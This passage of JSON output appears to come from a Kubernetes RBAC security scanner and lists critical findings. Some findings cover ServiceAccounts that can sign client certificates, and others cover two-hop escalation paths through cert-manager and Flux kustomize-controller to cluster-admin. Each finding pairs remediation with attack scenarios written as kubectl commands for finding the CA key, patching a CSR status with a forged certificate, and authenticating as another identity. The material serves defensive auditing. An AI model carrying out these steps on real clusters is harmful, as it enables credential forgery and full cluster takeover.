    "title": "Signer control: `ServiceAccount/flux-system/kustomize-controller` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/flux-system/kustomize-controller holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:flux-system:kustomize-controller | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/flux-system/kustomize-controller, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/rbac-fixtures/sa-cluster-admin::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 9.6,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/rbac-fixtures/sa-cluster-admin` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-cluster-admin holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-cluster-admin | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/rbac-fixtures/sa-cluster-admin, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/cutres-deputy-tenant/cutres-deputy:cluster_admin_equivalent",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "CRITICAL",
    "score": 9.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres-deputy-tenant/cutres-deputy` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/cutres-deputy-tenant/cutres-deputy` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager` via `operator_reconcile` (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-deputy",
      "namespace": "cutres-deputy-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres-deputy-tenant/cutres-deputy` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/cutres-deputy-tenant/cutres-deputy` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/cutres-deputy-tenant/cutres-deputy`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/cert-manager/cert-manager` via `write certificates.cert-manager.io`, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.",
      "The identity `ServiceAccount/cert-manager/cert-manager` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write certificates.cert-manager.io]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`). Evaluated cut: removing this subject from the `cutres-deputy-cert-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-a",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-b",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/deepchain-tenant/deepchain-deployer:cluster_admin_equivalent",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "CRITICAL",
    "score": 9.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-deployer` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-deployer` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller` via `operator_reconcile` (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source\n  2. `ServiceAccount/flux-system/kustomize-controller` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-deployer",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-deployer` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-deployer` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/deepchain-tenant/deepchain-deployer` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-deployer`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/flux-system/kustomize-controller` via `write kustomizations.kustomize.toolkit.fluxcd.io`, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.",
      "The identity `ServiceAccount/flux-system/kustomize-controller` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write kustomizations.kustomize.toolkit.fluxcd.io]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-deployer",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "permission": "write kustomizations.kustomize.toolkit.fluxcd.io",
        "gains": "can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source",
        "source_binding": "deepchain-gitops",
        "source_role": "deepchain-gitops",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "deepchain-flux-admin",
        "source_role": "cluster-admin"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
